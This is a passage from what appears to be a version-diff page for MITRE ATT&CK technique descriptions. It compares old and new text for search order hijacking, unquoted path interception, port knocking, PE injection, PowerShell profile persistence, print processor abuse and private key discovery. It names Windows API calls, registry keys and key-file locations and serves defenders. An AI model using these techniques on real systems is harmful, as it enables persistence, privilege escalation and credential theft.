| > | ndows system directory. An adversary who finds a program vul | > | ws system directory. An adversary who finds a program vulner | ||
| > | nerable to search order hijacking (i.e., a program that does | > | able to search order hijacking (i.e., a program that does no | ||
| > | not specify the path to an executable) may take advantage o | > | t specify the path to an executable) may take advantage of t | ||
| > | f this vulnerability by creating a program named after the i | > | his vulnerability by creating a program named after the impr | ||
| > | mproperly specified program and placing it within the initia | > | operly specified program and placing it within the initiatin | ||
| > | ting program's directory. For example, "example.exe" runs " | > | g program's directory. For example, "example.exe" runs "cmd | ||
| > | cmd.exe" with the command-line argument <code>net user</code | > | .exe" with the command-line argument <code>net user</code>. | ||
| > | >. An adversary may place a program called "net.exe" within | > | An adversary may place a program called "net.exe" within the | ||
| > | the same directory as example.exe, "net.exe" will be run ins | > | same directory as example.exe, "net.exe" will be run instea | ||
| > | tead of the Windows system utility net. In addition, if an a | > | d of the Windows system utility net. In addition, if an adve | ||
| > | dversary places a program called "net.com" in the same direc | > | rsary places a program called "net.com" in the same director | ||
| > | tory as "net.exe", then <code>cmd.exe /C net user</code> wil | > | y as "net.exe", then <code>cmd.exe /C net user</code> will e | ||
| > | l execute "net.com" instead of "net.exe" due to the order of | > | xecute "net.com" instead of "net.exe" due to the order of ex | ||
| > | executable extensions defined under PATHEXT. (Citation: Mic | > | ecutable extensions defined under PATHEXT.(Citation: Microso | ||
| > | rosoft Environment Property) Search order hijacking is also | > | ft Environment Property) Search order hijacking is also a c | ||
| > | a common practice for hijacking DLL loads and is covered in | > | ommon practice for hijacking DLL loads and is covered in [DL | ||
| > | [DLL](https://attack.mitre.org/techniques/T1574/001). | > | L](https://attack.mitre.org/techniques/T1574/001). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.635000+00:00 | 2026-11-04 01:05:50.979000+00:00 |
| description | Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.
Search order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike [DLL](https://attack.mitre.org/techniques/T1574/001) search order hijacking, the search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.
For example, "example.exe" runs "cmd.exe" with the command-line argument net user. An adversary may place a program called "net.exe" within the same directory as example.exe, "net.exe" will be run instead of the Windows system utility net. In addition, if an adversary places a program called "net.com" in the same directory as "net.exe", then cmd.exe /C net user will execute "net.com" instead of "net.exe" due to the order of executable extensions defined under PATHEXT. (Citation: Microsoft Environment Property)
Search order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL](https://attack.mitre.org/techniques/T1574/001). | Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.
Search order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike [DLL](https://attack.mitre.org/techniques/T1574/001) search order hijacking, the search order differs depending on the method that is used to execute the program.(Citation: Microsoft CreateProcess)(Citation: Windows NT Command Shell)(Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.
For example, "example.exe" runs "cmd.exe" with the command-line argument net user. An adversary may place a program called "net.exe" within the same directory as example.exe, "net.exe" will be run instead of the Windows system utility net. In addition, if an adversary places a program called "net.com" in the same directory as "net.exe", then cmd.exe /C net user will execute "net.com" instead of "net.exe" due to the order of executable extensions defined under PATHEXT.(Citation: Microsoft Environment Property)
Search order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL](https://attack.mitre.org/techniques/T1574/001). |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may execute their own malicious payloads by hija | t | 1 | Adversaries may execute their own malicious payloads by hija |
| > | cking vulnerable file path references. Adversaries can take | > | cking vulnerable file path references. Adversaries can take | ||
| > | advantage of paths that lack surrounding quotations by placi | > | advantage of paths that lack surrounding quotations by placi | ||
| > | ng an executable in a higher level directory within the path | > | ng an executable in a higher level directory within the path | ||
| > | , so that Windows will choose the adversary's executable to | > | , so that Windows will choose the adversary's executable to | ||
| > | launch. Service paths (Citation: Microsoft CurrentControlSe | > | launch. Service paths(Citation: Microsoft CurrentControlSet | ||
| > | t Services) and shortcut paths may also be vulnerable to pat | > | Services) and shortcut paths may also be vulnerable to path | ||
| > | h interception if the path has one or more spaces and is not | > | interception if the path has one or more spaces and is not | ||
| > | surrounded by quotation marks (e.g., <code>C:\unsafe path w | > | surrounded by quotation marks (e.g., <code>C:\unsafe path wi | ||
| > | ith space\program.exe</code> vs. <code>"C:\safe path with sp | > | th space\program.exe</code> vs. <code>"C:\safe path with spa | ||
| > | ace\program.exe"</code>). (Citation: Help eliminate unquoted | > | ce\program.exe"</code>).(Citation: Help eliminate unquoted p | ||
| > | path) (stored in Windows Registry keys) An adversary can pl | > | ath) (stored in Windows Registry keys) An adversary can plac | ||
| > | ace an executable in a higher level directory of the path, a | > | e an executable in a higher level directory of the path, and | ||
| > | nd Windows will resolve that executable instead of the inten | > | Windows will resolve that executable instead of the intende | ||
| > | ded executable. For example, if the path in a shortcut is <c | > | d executable. For example, if the path in a shortcut is <cod | ||
| > | ode>C:\program files\myapp.exe</code>, an adversary may crea | > | e>C:\program files\myapp.exe</code>, an adversary may create | ||
| > | te a program at <code>C:\program.exe</code> that will be run | > | a program at <code>C:\program.exe</code> that will be run i | ||
| > | instead of the intended program. (Citation: Windows Unquote | > | nstead of the intended program.(Citation: Windows Unquoted S | ||
| > | d Services) (Citation: Windows Privilege Escalation Guide) | > | ervices)(Citation: Windows Privilege Escalation Guide) This | ||
| > | This technique can be used for persistence if executables ar | > | technique can be used for persistence if executables are ca | ||
| > | e called on a regular basis, as well as privilege escalation | > | lled on a regular basis, as well as privilege escalation if | ||
| > | if intercepted executables are started by a higher privileg | > | intercepted executables are started by a higher privileged p | ||
| > | ed process. | > | rocess. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.713000+00:00 | 2026-11-04 01:06:34.300000+00:00 |
| description | Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.
Service paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\unsafe path with space\program.exe vs. "C:\safe path with space\program.exe"). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\program files\myapp.exe, an adversary may create a program at C:\program.exe that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide)
This technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process. | Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.
Service paths(Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\unsafe path with space\program.exe vs. "C:\safe path with space\program.exe").(Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\program files\myapp.exe, an adversary may create a program at C:\program.exe that will be run instead of the intended program.(Citation: Windows Unquoted Services)(Citation: Windows Privilege Escalation Guide)
This technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process. |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use port knocking to hide open ports used fo | t | 1 | Adversaries may use port knocking to hide open ports used fo |
| > | r persistence or command and control. To enable a port, an a | > | r persistence or command and control. To enable a port, an a | ||
| > | dversary sends a series of attempted connections to a predef | > | dversary sends a series of attempted connections to a predef | ||
| > | ined sequence of closed ports. After the sequence is complet | > | ined sequence of closed ports. After the sequence is complet | ||
| > | ed, opening a port is often accomplished by the host based f | > | ed, opening a port is often accomplished by the host based f | ||
| > | irewall, but could also be implemented by custom software. | > | irewall, but could also be implemented by custom software. | ||
| > | This technique has been observed both for the dynamic openin | > | This technique has been observed both for the dynamic openin | ||
| > | g of a listening port as well as the initiating of a connect | > | g of a listening port as well as the initiating of a connect | ||
| > | ion to a listening server on a different system. The observ | > | ion to a listening server on a different system. The observ | ||
| > | ation of the signal packets to trigger the communication can | > | ation of the signal packets to trigger the communication can | ||
| > | be conducted through different methods. One means, original | > | be conducted through different methods. One means, original | ||
| > | ly implemented by Cd00r (Citation: Hartrell cd00r 2002), is | > | ly implemented by Cd00r,(Citation: Hartrell cd00r 2002) is t | ||
| > | to use the libpcap libraries to sniff for the packets in que | > | o use the libpcap libraries to sniff for the packets in ques | ||
| > | stion. Another method leverages raw sockets, which enables t | > | tion. Another method leverages raw sockets, which enables th | ||
| > | he malware to use ports that are already open for use by oth | > | e malware to use ports that are already open for use by othe | ||
| > | er programs. | > | r programs. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.688000+00:00 | 2026-11-04 00:39:13.003000+00:00 |
| description | Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software. This technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system. The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs. | Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software. This technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system. The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r,(Citation: Hartrell cd00r 2002) is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs. |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may inject portable executables (PE) into proces | t | 1 | Adversaries may inject portable executables (PE) into proces |
| > | ses in order to evade process-based defenses as well as poss | > | ses in order to evade process-based defenses as well as poss | ||
| > | ibly elevate privileges. PE injection is a method of executi | > | ibly elevate privileges. PE injection is a method of executi | ||
| > | ng arbitrary code in the address space of a separate live pr | > | ng arbitrary code in the address space of a separate live pr | ||
| > | ocess. PE injection is commonly performed by copying code | > | ocess. PE injection is commonly performed by copying code | ||
| > | (perhaps without a file on disk) into the virtual address sp | > | (perhaps without a file on disk) into the virtual address sp | ||
| > | ace of the target process before invoking it via a new threa | > | ace of the target process before invoking it via a new threa | ||
| > | d. The write can be performed with native Windows API calls | > | d. The write can be performed with native Windows API calls | ||
| > | such as <code>VirtualAllocEx</code> and <code>WriteProcessMe | > | such as <code>VirtualAllocEx</code> and <code>WriteProcessMe | ||
| > | mory</code>, then invoked with <code>CreateRemoteThread</cod | > | mory</code>, then invoked with <code>CreateRemoteThread</cod | ||
| > | e> or additional code (ex: shellcode). The displacement of t | > | e> or additional code (ex: shellcode). The displacement of t | ||
| > | he injected code does introduce the additional requirement f | > | he injected code does introduce the additional requirement f | ||
| > | or functionality to remap memory references. (Citation: Elas | > | or functionality to remap memory references.(Citation: Elast | ||
| > | tic Process Injection July 2017) Running code in the conte | > | ic Process Injection July 2017) Running code in the contex | ||
| > | xt of another process may allow access to the process's memo | > | t of another process may allow access to the process's memor | ||
| > | ry, system/network resources, and possibly elevated privileg | > | y, system/network resources, and possibly elevated privilege | ||
| > | es. Execution via PE injection may also evade detection from | > | s. Execution via PE injection may also evade detection from | ||
| > | security products since the execution is masked under a leg | > | security products since the execution is masked under a legi | ||
| > | itimate process. | > | timate process. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.665000+00:00 | 2026-11-04 00:17:08.975000+00:00 |
| description | Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process.
PE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Elastic Process Injection July 2017)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process. | Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process.
PE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references.(Citation: Elastic Process Injection July 2017)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process. |
Current version: 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may gain persistence and elevate privileges by e | t | 1 | Adversaries may gain persistence and elevate privileges by e |
| > | xecuting malicious content triggered by PowerShell profiles. | > | xecuting malicious content triggered by PowerShell profiles. | ||
| > | A PowerShell profile (<code>profile.ps1</code>) is a scrip | > | A PowerShell profile (<code>profile.ps1</code>) is a scrip | ||
| > | t that runs when [PowerShell](https://attack.mitre.org/techn | > | t that runs when [PowerShell](https://attack.mitre.org/techn | ||
| > | iques/T1059/001) starts and can be used as a logon script to | > | iques/T1059/001) starts and can be used as a logon script to | ||
| > | customize user environments. [PowerShell](https://attack.m | > | customize user environments. [PowerShell](https://attack.m | ||
| > | itre.org/techniques/T1059/001) supports several profiles dep | > | itre.org/techniques/T1059/001) supports several profiles dep | ||
| > | ending on the user or host program. For example, there can b | > | ending on the user or host program. For example, there can b | ||
| > | e different profiles for [PowerShell](https://attack.mitre.o | > | e different profiles for [PowerShell](https://attack.mitre.o | ||
| > | rg/techniques/T1059/001) host programs such as the PowerShel | > | rg/techniques/T1059/001) host programs such as the PowerShel | ||
| > | l console, PowerShell ISE or Visual Studio Code. An administ | > | l console, PowerShell ISE or Visual Studio Code. An administ | ||
| > | rator can also configure a profile that applies to all users | > | rator can also configure a profile that applies to all users | ||
| > | and host programs on the local computer. (Citation: Microso | > | and host programs on the local computer.(Citation: Microsof | ||
| > | ft About Profiles) Adversaries may modify these profiles t | > | t About Profiles) Adversaries may modify these profiles to | ||
| > | o include arbitrary commands, functions, modules, and/or [Po | > | include arbitrary commands, functions, modules, and/or [Pow | ||
| > | werShell](https://attack.mitre.org/techniques/T1059/001) dri | > | erShell](https://attack.mitre.org/techniques/T1059/001) driv | ||
| > | ves to gain persistence. Every time a user opens a [PowerShe | > | es to gain persistence. Every time a user opens a [PowerShel | ||
| > | ll](https://attack.mitre.org/techniques/T1059/001) session t | > | l](https://attack.mitre.org/techniques/T1059/001) session th | ||
| > | he modified script will be executed unless the <code>-NoProf | > | e modified script will be executed unless the <code>-NoProfi | ||
| > | ile</code> flag is used when it is launched. (Citation: ESET | > | le</code> flag is used when it is launched.(Citation: ESET T | ||
| > | Turla PowerShell May 2019) An adversary may also be able | > | urla PowerShell May 2019) An adversary may also be able to | ||
| > | to escalate privileges if a script in a PowerShell profile i | > | escalate privileges if a script in a PowerShell profile is | ||
| > | s loaded and executed by an account with higher privileges, | > | loaded and executed by an account with higher privileges, su | ||
| > | such as a domain administrator. (Citation: Wits End and Shad | > | ch as a domain administrator.(Citation: Wits End and Shady P | ||
| > | y PowerShell Profiles) | > | owerShell Profiles) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-10-24 17:48:24.124000+00:00 | 2026-11-04 00:53:09.847000+00:00 |
| description | Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile (profile.ps1) is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001) starts and can be used as a logon script to customize user environments.
[PowerShell](https://attack.mitre.org/techniques/T1059/001) supports several profiles depending on the user or host program. For example, there can be different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001) host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles)
Adversaries may modify these profiles to include arbitrary commands, functions, modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001) drives to gain persistence. Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001) session the modified script will be executed unless the -NoProfile flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019)
An adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles) | Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile (profile.ps1) is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001) starts and can be used as a logon script to customize user environments.
[PowerShell](https://attack.mitre.org/techniques/T1059/001) supports several profiles depending on the user or host program. For example, there can be different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001) host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer.(Citation: Microsoft About Profiles)
Adversaries may modify these profiles to include arbitrary commands, functions, modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001) drives to gain persistence. Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001) session the modified script will be executed unless the -NoProfile flag is used when it is launched.(Citation: ESET Turla PowerShell May 2019)
An adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator.(Citation: Wits End and Shady PowerShell Profiles) |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Malware Archaeology PowerShell Cheat Sheet', 'description': 'Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.', 'url': 'http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf'} | |
| external_references | {'source_name': 'Microsoft Profiles', 'description': 'Microsoft. (2021, September 27). about_Profiles. Retrieved February 4, 2022.', 'url': 'https://docs.microsoft.com/powershell/module/microsoft.powershell.core/about/about_profiles'} |
Current version: 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse print processors to run malicious DLLs | t | 1 | Adversaries may abuse print processors to run malicious DLLs |
| > | during system boot for persistence and/or privilege escalat | > | during system boot for persistence and/or privilege escalat | ||
| > | ion. Print processors are DLLs that are loaded by the print | > | ion. Print processors are DLLs that are loaded by the print | ||
| > | spooler service, `spoolsv.exe`, during boot.(Citation: Micro | > | spooler service, `spoolsv.exe`, during boot.(Citation: Micro | ||
| > | soft Intro Print Processors) Adversaries may abuse the prin | > | soft Intro Print Processors) Adversaries may abuse the prin | ||
| > | t spooler service by adding print processors that load malic | > | t spooler service by adding print processors that load malic | ||
| > | ious DLLs at startup. A print processor can be installed thr | > | ious DLLs at startup. A print processor can be installed thr | ||
| > | ough the <code>AddPrintProcessor</code> API call with an acc | > | ough the <code>AddPrintProcessor</code> API call with an acc | ||
| > | ount that has <code>SeLoadDriverPrivilege</code> enabled. Al | > | ount that has <code>SeLoadDriverPrivilege</code> enabled. Al | ||
| > | ternatively, a print processor can be registered to the prin | > | ternatively, a print processor can be registered to the prin | ||
| > | t spooler service by adding the <code>HKLM\SYSTEM\\[CurrentC | > | t spooler service by adding the <code>HKLM\SYSTEM\\[CurrentC | ||
| > | ontrolSet or ControlSet001]\Control\Print\Environments\\[Win | > | ontrolSet or ControlSet001]\Control\Print\Environments\\[Win | ||
| > | dows architecture: e.g., Windows x64]\Print Processors\\[use | > | dows architecture: e.g., Windows x64]\Print Processors\\[use | ||
| > | r defined]\Driver</code> Registry key that points to the DLL | > | r defined]\Driver</code> Registry key that points to the DLL | ||
| > | . For the malicious print processor to be correctly install | > | . For the malicious print processor to be correctly install | ||
| > | ed, the payload must be located in the dedicated system prin | > | ed, the payload must be located in the dedicated system prin | ||
| > | t-processor directory, that can be found with the <code>GetP | > | t-processor directory, that can be found with the <code>GetP | ||
| > | rintProcessorDirectory</code> API call, or referenced via a | > | rintProcessorDirectory</code> API call, or referenced via a | ||
| > | relative path from this directory.(Citation: Microsoft AddPr | > | relative path from this directory.(Citation: Microsoft AddPr | ||
| > | intProcessor May 2018) After the print processors are instal | > | intProcessor May 2018) After the print processors are instal | ||
| > | led, the print spooler service, which starts during boot, mu | > | led, the print spooler service, which starts during boot, mu | ||
| > | st be restarted in order for them to run.(Citation: ESET Pip | > | st be restarted in order for them to run.(Citation: ESET Pip | ||
| > | eMon May 2020) The print spooler service runs under SYSTEM | > | eMon May 2020) The print spooler service runs under SYSTEM | ||
| > | level permissions, therefore print processors installed by a | > | level permissions; therefore, print processors installed by | ||
| > | n adversary may run under elevated privileges. | > | an adversary may run under elevated privileges. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-10-24 17:48:35.261000+00:00 | 2026-11-04 00:02:45.518000+00:00 |
| description | Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, `spoolsv.exe`, during boot.(Citation: Microsoft Intro Print Processors)
Adversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the AddPrintProcessor API call with an account that has SeLoadDriverPrivilege enabled. Alternatively, a print processor can be registered to the print spooler service by adding the HKLM\SYSTEM\\[CurrentControlSet or ControlSet001]\Control\Print\Environments\\[Windows architecture: e.g., Windows x64]\Print Processors\\[user defined]\Driver Registry key that points to the DLL.
For the malicious print processor to be correctly installed, the payload must be located in the dedicated system print-processor directory, that can be found with the GetPrintProcessorDirectory API call, or referenced via a relative path from this directory.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020)
The print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges. | Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, `spoolsv.exe`, during boot.(Citation: Microsoft Intro Print Processors)
Adversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the AddPrintProcessor API call with an account that has SeLoadDriverPrivilege enabled. Alternatively, a print processor can be registered to the print spooler service by adding the HKLM\SYSTEM\\[CurrentControlSet or ControlSet001]\Control\Print\Environments\\[Windows architecture: e.g., Windows x64]\Print Processors\\[user defined]\Driver Registry key that points to the DLL.
For the malicious print processor to be correctly installed, the payload must be located in the dedicated system print-processor directory, that can be found with the GetPrintProcessorDirectory API call, or referenced via a relative path from this directory.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020)
The print spooler service runs under SYSTEM level permissions; therefore, print processors installed by an adversary may run under elevated privileges. |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
Current version: 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may search for private key certificate files on | t | 1 | Adversaries may search for private key certificate files on |
| > | compromised systems for insecurely stored credentials. Priva | > | compromised systems for insecurely stored credentials. Priva | ||
| > | te cryptographic keys and certificates are used for authenti | > | te cryptographic keys and certificates are used for authenti | ||
| > | cation, encryption/decryption, and digital signatures.(Citat | > | cation, encryption/decryption, and digital signatures.(Citat | ||
| > | ion: Wikipedia Public Key Crypto) Common key and certificate | > | ion: Wikipedia Public Key Crypto) Common key and certificate | ||
| > | file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pe | > | file extensions include: .key, .pgp, .gpg, .ppk, .p12, .pem | ||
| > | m, .pfx, .cer, .p7b, .asc. Adversaries may also look in co | > | , .pfx, .cer, .p7b, .asc. Adversaries may also look in com | ||
| > | mmon key directories, such as <code>~/.ssh</code> for SSH ke | > | mon key directories, such as <code>~/.ssh</code> for SSH key | ||
| > | ys on * nix-based systems or <code>C:\Users\(usernam | > | s on * nix-based systems or <code>C:\Users\(username | ||
| > | e)\.ssh\</code> on Windows. Adversary tools may also | > | )\.ssh\</code> on Windows. Adversary tools may also | ||
| > | search compromised systems for file extensions relating to | > | search compromised systems for file extensions relating to c | ||
| > | cryptographic keys and certificates.(Citation: Kaspersky Car | > | ryptographic keys and certificates.(Citation: Kaspersky Care | ||
| > | eto)(Citation: Palo Alto Prince of Persia) When a device is | > | to)(Citation: Palo Alto Prince of Persia) When a device is | ||
| > | registered to Entra ID, a device key and a transport key ar | > | registered to Entra ID, a device key and a transport key are | ||
| > | e generated and used to verify the device’s identity.(Citati | > | generated and used to verify the device’s identity.(Citatio | ||
| > | on: Microsoft Primary Refresh Token) An adversary with acces | > | n: Microsoft Primary Refresh Token) An adversary with access | ||
| > | s to the device may be able to export the keys in order to i | > | to the device may be able to export the keys in order to im | ||
| > | mpersonate the device.(Citation: AADInternals Azure AD Devic | > | personate the device.(Citation: AADInternals Azure AD Device | ||
| > | e Identities) On network devices, private keys may be expor | > | Identities) On network devices, private keys may be export | ||
| > | ted via [Network Device CLI](https://attack.mitre.org/techni | > | ed via [Network Device CLI](https://attack.mitre.org/techniq | ||
| > | ques/T1059/008) commands such as `crypto pki export`.(Citati | > | ues/T1059/008) commands such as `crypto pki export`.(Citatio | ||
| > | on: cisco_deploy_rsa_keys) Some private keys require a pas | > | n: cisco_deploy_rsa_keys) Some private keys require a pass | ||
| > | sword or passphrase for operation, so an adversary may also | > | word or passphrase for operation, so an adversary may also u | ||
| > | use [Input Capture](https://attack.mitre.org/techniques/T105 | > | se [Input Capture](https://attack.mitre.org/techniques/T1056 | ||
| > | 6) for keylogging or attempt to [Brute Force](https://attack | > | ) for keylogging or attempt to [Brute Force](https://attack. | ||
| > | .mitre.org/techniques/T1110) the passphrase off-line. These | > | mitre.org/techniques/T1110) the passphrase off-line. These p | ||
| > | private keys can be used to authenticate to [Remote Services | > | rivate keys can be used to authenticate to [Remote Services] | ||
| > | ](https://attack.mitre.org/techniques/T1021) like SSH or for | > | (https://attack.mitre.org/techniques/T1021) like SSH or for | ||
| > | use in decrypting other collected files such as email. | > | use in decrypting other collected files such as email. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.635000+00:00 | 2026-11-03 23:50:31.428000+00:00 |
| description | Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc.
Adversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\Users\(username)\.ssh\ on Windows. Adversary tools may also search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia)
When a device is registered to Entra ID, a device key and a transport key are generated and used to verify the device’s identity.(Citation: Microsoft Primary Refresh Token) An adversary with access to the device may be able to export the keys in order to impersonate the device.(Citation: AADInternals Azure AD Device Identities)
On network devices, private keys may be exported via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `crypto pki export`.(Citation: cisco_deploy_rsa_keys)
Some private keys require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line. These private keys can be used to authenticate to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email. | Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk, .p12, .pem, .pfx, .cer, .p7b, .asc.
Adversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\Users\(username)\.ssh\ on Windows. Adversary tools may also search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia)
When a device is registered to Entra ID, a device key and a transport key are generated and used to verify the device’s identity.(Citation: Microsoft Primary Refresh Token) An adversary with access to the device may be able to export the keys in order to impersonate the device.(Citation: AADInternals Azure AD Device Identities)
